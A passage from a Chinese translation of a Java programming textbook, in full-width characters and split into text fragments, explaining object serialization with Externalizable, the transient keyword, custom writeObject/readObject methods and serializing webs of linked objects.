Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｎｓｔｒｕｃｔｉｎｇ ｏｂｊｅｃｔｓ：＂）； Ｂｌｉｐ３ ｂ３ ＝ ｎｅｗ Ｂｌｉｐ３（＂Ａ Ｓｔｒｉｎｇ ＂， ４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｂ３．ｔｏＳｔｒｉｎｇ（））； ｔｒｙ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｂｌｉｐ３．ｏｕｔ＂））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓａｖｉｎｇ ｏｂｊｅｃｔ：＂）； ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ｂ３）； ｏ．ｃｌｏｓｅ（）； ／／ Ｎｏｗ ｇｅｔ ｉｔ ｂａｃｋ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｂｌｉｐ３．ｏｕｔ＂））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｅｃｏｖｅｒｉｎｇ ｂ３：＂）； ｂ３ ＝ （Ｂｌｉｐ３）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｂ３．ｔｏＳｔｒｉｎｇ（））； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "这意味着假如不在 ｒｅａｄＥｘｔｅｒｎａｌ 中初 始化 ｓ 和 ｉ，它们就会成为 ｎｕｌｌ（因为在对象创建的第一步中已将对象的存储空间清除为 １）。 若注释掉跟 随于“Ｙｏｕ ｍｕｓｔ ｄｏ ｔｈｉｓ”后面的两行代码，并运行程序，就会发现当对象恢复以后，ｓ 是 ｎｕｌｌ，而 ｉ 是 零。"},
    {"text": "若从一个 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象继承，通常需要调用 ｗｒｉｔｅＥｘｔｅｒｎａｌ（）和 ｒｅａｄＥｘｔｅｒｎａｌ（）的基础类版本，以便 正确地保存和恢复基础类组件。"},
    {"text": "所以为了让一切正常运作起来，千万不可仅在 ｗｒｉｔｅＥｘｔｅｒｎａｌ（）方法执行期间写入对象的重要数据（没有默 认的行为可用来为一个 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象写入所有成员对象）的，而是必须在 ｒｅａｄＥｘｔｅｒｎａｌ（）方法中也 恢复那些数据。 初次操作时可能会有些不习惯，因为 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象的默认构建行为使其看起来似乎正 在进行某种存储与恢复操作。"},
    {"text": "即使那种信息在对象中具有“ｐｒｉｖａｔｅ” （私有）属性，但一旦经序列化处理，人们就可以通过读取一个文件，或者拦截网络传输得到它。"},
    {"text": "为解决这个问题，可以用 ｔｒａｎｓｉｅｎｔ（临时）逐个字段地关闭序列化，它的意思是“不要麻烦你（指自动机制）保存或恢复它了——我 会自己处理的”。"},
    {"text": "下面是具体的代码： ／／： Ｌｏｇｏｎ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ＂ｔｒａｎｓｉｅｎｔ＂ ｋｅｙｗｏｒｄ ３２２ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｌｏｇｏｎ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｄａｔｅ ｄａｔｅ ＝ ｎｅｗ Ｄａｔｅ（）； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｕｓｅｒｎａｍｅ； ｐｒｉｖａｔｅ ｔｒａｎｓｉｅｎｔ Ｓｔｒｉｎｇ ｐａｓｓｗｏｒｄ； Ｌｏｇｏｎ（Ｓｔｒｉｎｇ ｎａｍｅ， Ｓｔｒｉｎｇ ｐｗｄ） ｛ ｕｓｅｒｎａｍｅ ＝ ｎａｍｅ； ｐａｓｓｗｏｒｄ ＝ ｐｗｄ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ Ｓｔｒｉｎｇ ｐｗｄ ＝ （ｐａｓｓｗｏｒｄ ＝＝ ｎｕｌｌ） ？ ＂（ｎ／ａ）＂ ： ｐａｓｓｗｏｒｄ； ｒｅｔｕｒｎ ＂ｌｏｇｏｎ ｉｎｆｏ： ＼ｎ ＂ ＋ ＂ｕｓｅｒｎａｍｅ： ＂ ＋ ｕｓｅｒｎａｍｅ ＋ ＂＼ｎ ｄａｔｅ： ＂ ＋ ｄａｔｅ．ｔｏＳｔｒｉｎｇ（） ＋ ＂＼ｎ ｐａｓｓｗｏｒｄ： ＂ ＋ ｐｗｄ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｌｏｇｏｎ ａ ＝ ｎｅｗ Ｌｏｇｏｎ（＂Ｈｕｌｋ＂， ＂ｍｙＬｉｔｔｌｅＰｏｎｙ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｌｏｇｏｎ ａ ＝ ＂ ＋ ａ）； ｔｒｙ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂Ｌｏｇｏｎ．ｏｕｔ＂））； ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ａ）； ｏ．ｃｌｏｓｅ（）； ／／ Ｄｅｌａｙ： ｉｎｔ ｓｅｃｏｎｄｓ ＝ ５； ｌｏｎｇ ｔ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（） ＋ ｓｅｃｏｎｄｓ ＊ １０００； ｗｈｉｌｅ（Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（） ＜ ｔ） ； ／／ Ｎｏｗ ｇｅｔ ｔｈｅｍ ｂａｃｋ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（＂Ｌｏｇｏｎ．ｏｕｔ＂））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｒｅｃｏｖｅｒｉｎｇ ｏｂｊｅｃｔ ａｔ ＂ ＋ ｎｅｗ Ｄａｔｅ（））； ａ ＝ （Ｌｏｇｏｎ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｌｏｇｏｎ ａ ＝ ＂ ＋ ａ）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "输 出如下： ３２３ ｌｏｇｏｎ ａ ＝ ｌｏｇｏｎ ｉｎｆｏ： ｕｓｅｒｎａｍｅ： Ｈｕｌｋ ｄａｔｅ： Ｓｕｎ Ｍａｒ ２３ １８：２５：５３ ＰＳＴ １９９７ ｐａｓｓｗｏｒｄ： ｍｙＬｉｔｔｌｅＰｏｎｙ Ｒｅｃｏｖｅｒｉｎｇ ｏｂｊｅｃｔ ａｔ Ｓｕｎ Ｍａｒ ２３ １８：２５：５９ ＰＳＴ １９９７ ｌｏｇｏｎ ａ ＝ ｌｏｇｏｎ ｉｎｆｏ： ｕｓｅｒｎａｍｅ： Ｈｕｌｋ ｄａｔｅ： Ｓｕｎ Ｍａｒ ２３ １８：２５：５３ ＰＳＴ １９９７ ｐａｓｓｗｏｒｄ： （ｎ／ａ） 一旦对象恢复成原来的样子，ｐａｓｓｗｏｒｄ 字段就会变成 ｎｕｌｌ。"},
    {"text": "注意必须用 ｔｏＳｔｒｉｎｇ（）检查 ｐａｓｓｗｏｒｄ 是否为 ｎｕｌｌ，因为若用过载的“＋”运算符来装配一个 Ｓｔｒｉｎｇ 对象，而且那个运算符遇到一个 ｎｕｌｌ 句柄，就会造成 一个名为 ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ 的违例（新版 Ｊａｖａ 可能会提供避免这个问题的代码）。"},
    {"text": "由于 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 对象默认时不保存它的任何字段，所以 ｔｒａｎｓｉｅｎｔ 关键字只能伴随 Ｓｅｒｉａｌｉｚａｂｌｅ 使 用。"},
    {"text": "２． Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 的替代方法 若不是特别在意要实现 Ｅｘｔｅｒｎａｌｉｚａｂｌｅ 接口，还有另一种方法可供选用。 我们可以实现 Ｓｅｒｉａｌｉｚａｂｌｅ 接 口，并添加（注意是“添加”，而非“覆盖”或者“实现”）名为 ｗｒｉｔｅＯｂｊｅｃｔ（）和 ｒｅａｄＯｂｊｅｃｔ（）的方法。"},
    {"text": "这些方法必须含有下列准确的签名： ｐｒｉｖａｔｅ ｖｏｉｄ ｗｒｉｔｅＯｂｊｅｃｔ（ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｓｔｒｅａｍ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ；"},
    {"text": "ｐｒｉｖａｔｅ ｖｏｉｄ ｒｅａｄＯｂｊｅｃｔ（ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｓｔｒｅａｍ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ 从设计的角度出发，情况变得有些扑朔迷离。"},
    {"text": "然而，我们实际并不从这个类的其他成员中调用它们，而是由 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 和 ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ 的 ｗｒｉｔｅＯｂｊｅｃｔ（）及 ｒｅａｄＯｂｊｅｃｔ（）方法来调用我们对象的 ｗｒｉｔｅＯｂｊｅｃｔ（）和 ｒｅａｄＯｂｊｅｃｔ（）方法（注意我在这里用了很大的抑制力来避免使用相同的方法名——因为怕 混淆）。 大家可能奇怪 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 和 ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ 如何有权访问我们的类的 ｐｒｉｖａｔｅ 方法— —只能认为这是序列化机制玩的一个把戏。"},
    {"text": "在任何情况下，接口中的定义的任何东西都会自动具有 ｐｕｂｌｉｃ 属性，所以假若 ｗｒｉｔｅＯｂｊｅｃｔ（）和 ｒｅａｄＯｂｊｅｃｔ（）必须为 ｐｒｉｖａｔｅ，那么它们不能成为接口（ｉｎｔｅｒｆａｃｅ）的一部分。"},
    {"text": "看起来似乎我们调用 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ．ｗｒｉｔｅＯｂｊｅｃｔ（）的时候，我们传递给它的 Ｓｅｒｉａｌｉｚａｂｌｅ 对象似乎 会被检查是否实现了自己的 ｗｒｉｔｅＯｂｊｅｃｔ（）。"},
    {"text": "在我们的 ｗｒｉｔｅＯｂｊｅｃｔ（） 内部，可以调用 ｄｅｆａｕｌｔＷｒｉｔｅＯｂｊｅｃｔ（），从而决定采取默认的 ｗｒｉｔｅＯｂｊｅｃｔ（）行动。 类似地，在 ｒｅａｄＯｂｊｅｃｔ（）内部，可以调用 ｄｅｆａｕｌｔＲｅａｄＯｂｊｅｃｔ（）。"},
    {"text": "下面这个简单的例子 演示了如何对一个 Ｓｅｒｉａｌｉｚａｂｌｅ 对象的存储与恢复进行控制： ／／： ＳｅｒｉａｌＣｔｌ．ｊａｖａ ／／ Ｃｏｎｔｒｏｌｌｉｎｇ ｓｅｒｉａｌｉｚａｔｉｏｎ ｂｙ ａｄｄｉｎｇ ｙｏｕｒ ｏｗｎ ３２４ ／／ ｗｒｉｔｅＯｂｊｅｃｔ（） ａｎｄ ｒｅａｄＯｂｊｅｃｔ（） ｍｅｔｈｏｄｓ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＳｅｒｉａｌＣｔｌ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ Ｓｔｒｉｎｇ ａ； ｔｒａｎｓｉｅｎｔ Ｓｔｒｉｎｇ ｂ； ｐｕｂｌｉｃ ＳｅｒｉａｌＣｔｌ（Ｓｔｒｉｎｇ ａａ， Ｓｔｒｉｎｇ ｂｂ） ｛ ａ ＝ ＂Ｎｏｔ Ｔｒａｎｓｉｅｎｔ： ＂ ＋ ａａ； ｂ ＝ ＂Ｔｒａｎｓｉｅｎｔ： ＂ ＋ ｂｂ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ａ ＋ ＂＼ｎ＂ ＋ ｂ； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｗｒｉｔｅＯｂｊｅｃｔ（ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｓｔｒｅａｍ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｓｔｒｅａｍ．ｄｅｆａｕｌｔＷｒｉｔｅＯｂｊｅｃｔ（）； ｓｔｒｅａｍ．ｗｒｉｔｅＯｂｊｅｃｔ（ｂ）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｒｅａｄＯｂｊｅｃｔ（ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｓｔｒｅａｍ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｛ ｓｔｒｅａｍ．ｄｅｆａｕｌｔＲｅａｄＯｂｊｅｃｔ（）； ｂ ＝ （Ｓｔｒｉｎｇ）ｓｔｒｅａｍ．ｒｅａｄＯｂｊｅｃｔ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＳｅｒｉａｌＣｔｌ ｓｃ ＝ ｎｅｗ ＳｅｒｉａｌＣｔｌ（＂Ｔｅｓｔ１＂， ＂Ｔｅｓｔ２＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｅｆｏｒｅ：＼ｎ＂ ＋ ｓｃ）； ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ ｂｕｆ ＝ ｎｅｗ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ（）； ｔｒｙ ｛ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ｂｕｆ）； ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ｓｃ）； ／／ Ｎｏｗ ｇｅｔ ｉｔ ｂａｃｋ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ（ ｂｕｆ．ｔｏＢｙｔｅＡｒｒａｙ（）））； ＳｅｒｉａｌＣｔｌ ｓｃ２ ＝ （ＳｅｒｉａｌＣｔｌ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｆｔｅｒ：＼ｎ＂ ＋ ｓｃ２）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 在这个例子中，一个 Ｓｔｒｉｎｇ 保持原始状态，其他设为 ｔｒａｎｓｉｅｎｔ（临时），以便证明非临时字段会被 ｄｅｆａｕｌｔＷｒｉｔｅＯｂｊｅｃｔ（）方法自动保存，而 ｔｒａｎｓｉｅｎｔ 字段必须在程序中明确保存和恢复。"},
    {"text": "若准备通过默认机制写入对象的非 ｔｒａｎｓｉｅｎｔ 部分，那么必须调用 ｄｅｆａｕｌｔＷｒｉｔｅＯｂｊｅｃｔ（），令其作为 ３２５ ｗｒｉｔｅＯｂｊｅｃｔ（）中的第一个操作；"},
    {"text": "举个例子来说，当我们为一个 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 调用 ｄｅｆａｕｌｔＷｒｉｔｅＯｂｊｅｃｔ（）的 时候，而且没有为其传递参数，就需要采取这种操作，使其知道对象的句柄以及如何写入所有非 ｔｒａｎｓｉｅｎｔ 的部分。"},
    {"text": "在 ｍａｉｎ（）中会 创建一个 ＳｅｒｉａｌＣｔｌ 对象，随后会序列化到一个 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 里（注意这种情况下使用的是一个缓冲 区，而非文件——与 ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ 完全一致）。"},
    {"text": "其中，ｗｒｉｔｅＯｂｊｅｃｔ（）方法必须核查 ｓｃ，判断它是否有自己的 ｗｒｉｔｅＯｂｊｅｃｔ（）方法（不是检查它的接口——它 根本就没有，也不是检查类的类型，而是利用反射方法实际搜索方法）。"},
    {"text": "如果两个对象都有指向第三个对象的句柄，该如何对这两个对象序 列化呢？ 如果从两个对象序列化后的状态恢复它们，第三个对象的句柄只会出现在一个对象身上吗？"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｈｏｕｓｅ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛｝ ｃｌａｓｓ Ａｎｉｍａｌ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ Ｓｔｒｉｎｇ ｎａｍｅ； Ｈｏｕｓｅ ｐｒｅｆｅｒｒｅｄＨｏｕｓｅ； Ａｎｉｍａｌ（Ｓｔｒｉｎｇ ｎｍ， Ｈｏｕｓｅ ｈ） ｛ ｎａｍｅ ＝ ｎｍ； ｐｒｅｆｅｒｒｅｄＨｏｕｓｅ ＝ ｈ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｎａｍｅ ＋ ＂［＂ ＋ ｓｕｐｅｒ．ｔｏＳｔｒｉｎｇ（） ＋ ＂］， ＂ ＋ ｐｒｅｆｅｒｒｅｄＨｏｕｓｅ ＋ ＂＼ｎ＂； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＭｙＷｏｒｌｄ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｈｏｕｓｅ ｈｏｕｓｅ ＝ ｎｅｗ Ｈｏｕｓｅ（）； Ｖｅｃｔｏｒ ａｎｉｍａｌｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ａｎｉｍａｌｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ａｎｉｍａｌ（＂Ｂｏｓｃｏ ｔｈｅ ｄｏｇ＂， ｈｏｕｓｅ））； ａｎｉｍａｌｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ａｎｉｍａｌ（＂Ｒａｌｐｈ ｔｈｅ ｈａｍｓｔｅｒ＂， ｈｏｕｓｅ））； ３２６ ａｎｉｍａｌｓ．ａｄｄＥｌｅｍｅｎｔ（ ｎｅｗ Ａｎｉｍａｌ（＂Ｆｒｏｎｋ ｔｈｅ ｃａｔ＂， ｈｏｕｓｅ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｎｉｍａｌｓ： ＂ ＋ ａｎｉｍａｌｓ）； ｔｒｙ ｛ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ ｂｕｆ１ ＝ ｎｅｗ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ（）； ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ１ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ｂｕｆ１）； ｏ１．ｗｒｉｔｅＯｂｊｅｃｔ（ａｎｉｍａｌｓ）； ｏ１．ｗｒｉｔｅＯｂｊｅｃｔ（ａｎｉｍａｌｓ）； ／／ Ｗｒｉｔｅ ａ ２ｎｄ ｓｅｔ ／／ Ｗｒｉｔｅ ｔｏ ａ ｄｉｆｆｅｒｅｎｔ ｓｔｒｅａｍ： ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ ｂｕｆ２ ＝ ｎｅｗ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ（）； ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ２ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ｂｕｆ２）； ｏ２．ｗｒｉｔｅＯｂｊｅｃｔ（ａｎｉｍａｌｓ）； ／／ Ｎｏｗ ｇｅｔ ｔｈｅｍ ｂａｃｋ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ１ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ（ ｂｕｆ１．ｔｏＢｙｔｅＡｒｒａｙ（）））； ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ２ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ（ ｂｕｆ２．ｔｏＢｙｔｅＡｒｒａｙ（）））； Ｖｅｃｔｏｒ ａｎｉｍａｌｓ１ ＝ （Ｖｅｃｔｏｒ）ｉｎ１．ｒｅａｄＯｂｊｅｃｔ（）； Ｖｅｃｔｏｒ ａｎｉｍａｌｓ２ ＝ （Ｖｅｃｔｏｒ）ｉｎ１．ｒｅａｄＯｂｊｅｃｔ（）； Ｖｅｃｔｏｒ ａｎｉｍａｌｓ３ ＝ （Ｖｅｃｔｏｒ）ｉｎ２．ｒｅａｄＯｂｊｅｃｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｎｉｍａｌｓ１： ＂ ＋ ａｎｉｍａｌｓ１）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｎｉｍａｌｓ２： ＂ ＋ ａｎｉｍａｌｓ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｎｉｍａｌｓ３： ＂ ＋ ａｎｉｍａｌｓ３）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 这里一件有趣的事情是也许是能针对一个字节数组应用对象的序列化，从而实现对任何 Ｓｅｒｉａｌｉｚａｂｌｅ（可序 列化）对象的一个“全面复制”（全面复制意味着复制的是整个对象网，而不仅是基本对象和它的句柄）。"},
    {"text": "这些数据重新装配并打印出来后，可看到下面这样的结果（对象在每次 运行时都会处在不同的内存位置，所以每次运行的结果有区别）： ａｎｉｍａｌｓ： ［Ｂｏｓｃｏ ｔｈｅ ｄｏｇ［Ａｎｉｍａｌ＠１ｃｃ７６ｃ］， Ｈｏｕｓｅ＠１ｃｃ７６９ ， Ｒａｌｐｈ ｔｈｅ ｈａｍｓｔｅｒ［Ａｎｉｍａｌ＠１ｃｃ７６ｄ］， Ｈｏｕｓｅ＠１ｃｃ７６９ ， Ｆｒｏｎｋ ｔｈｅ ｃａｔ［Ａｎｉｍａｌ＠１ｃｃ７６ｅ］， Ｈｏｕｓｅ＠１ｃｃ７６９ ］ ａｎｉｍａｌｓ１： ［Ｂｏｓｃｏ ｔｈｅ ｄｏｇ［Ａｎｉｍａｌ＠１ｃｃａ０ｃ］， Ｈｏｕｓｅ＠１ｃｃａ１６ ， Ｒａｌｐｈ ｔｈｅ ｈａｍｓｔｅｒ［Ａｎｉｍａｌ＠１ｃｃａ１７］， Ｈｏｕｓｅ＠１ｃｃａ１６ ， Ｆｒｏｎｋ ｔｈｅ ｃａｔ［Ａｎｉｍａｌ＠１ｃｃａ１ｂ］， Ｈｏｕｓｅ＠１ｃｃａ１６ ３２７ ］ ａｎｉｍａｌｓ２： ［Ｂｏｓｃｏ ｔｈｅ ｄｏｇ［Ａｎｉｍａｌ＠１ｃｃａ０ｃ］， Ｈｏｕｓｅ＠１ｃｃａ１６ ， Ｒａｌｐｈ ｔｈｅ ｈａｍｓｔｅｒ［Ａｎｉｍａｌ＠１ｃｃａ１７］， Ｈｏｕｓｅ＠１ｃｃａ１６ ， Ｆｒｏｎｋ ｔｈｅ ｃａｔ［Ａｎｉｍａｌ＠１ｃｃａ１ｂ］， Ｈｏｕｓｅ＠１ｃｃａ１６ ］ ａｎｉｍａｌｓ３： ［Ｂｏｓｃｏ ｔｈｅ ｄｏｇ［Ａｎｉｍａｌ＠１ｃｃａ５２］， Ｈｏｕｓｅ＠１ｃｃａ５ｃ ， Ｒａｌｐｈ ｔｈｅ ｈａｍｓｔｅｒ［Ａｎｉｍａｌ＠１ｃｃａ５ｄ］， Ｈｏｕｓｅ＠１ｃｃａ５ｃ ， Ｆｒｏｎｋ ｔｈｅ ｃａｔ［Ａｎｉｍａｌ＠１ｃｃａ６１］， Ｈｏｕｓｅ＠１ｃｃａ５ｃ ］ 当然，我们希望装配好的对象有与原来不同的地址。"},
    {"text": "在另一方面，当 ａｎｉｍａｌｓ３ 恢复以后，系统没有办法知道另一个流内 的对象是第一个流内对象的化身，所以会产生一个完全不同的对象网。"},
    {"text": "当然，在写第一个和最后一个对象的时间之间，可改变对象的状态，但那必须由我们明确采 取操作——序列化时，对象会采用它们当时的任何状态（包括它们与其他对象的连接关系）写入。"},
    {"text": "此外，它还为我们 引入了 ｓｔａｔｉｃ 字段的问题——如留意联机文档，就会发现 Ｃｌａｓｓ 是“Ｓｅｒｉａｌｉｚａｂｌｅ”（可序列化）的，所以 只需简单地序列化 Ｃｌａｓｓ 对象，就能实现 ｓｔａｔｉｃ 字段的保存。"},
    {"text": "／／： ＣＡＤＳｔａｔｅ．ｊａｖａ ／／ Ｓａｖｉｎｇ ａｎｄ ｒｅｓｔｏｒｉｎｇ ｔｈｅ ｓｔａｔｅ ｏｆ ａ ／／ ｐｒｅｔｅｎｄ ＣＡＤ ｓｙｓｔｅｍ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｓｈａｐｅ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＲＥＤ ＝ １， ＢＬＵＥ ＝ ２， ＧＲＥＥＮ ＝ ３； ｐｒｉｖａｔｅ ｉｎｔ ｘＰｏｓ， ｙＰｏｓ， ｄｉｍｅｎｓｉｏｎ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｒａｎｄｏｍ ｒ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｃｏｕｎｔｅｒ ＝ ０； ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（ｉｎｔ ｎｅｗＣｏｌｏｒ）； ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｏｌｏｒ（）； ｐｕｂｌｉｃ Ｓｈａｐｅ（ｉｎｔ ｘＶａｌ， ｉｎｔ ｙＶａｌ， ｉｎｔ ｄｉｍ） ｛ ｘＰｏｓ 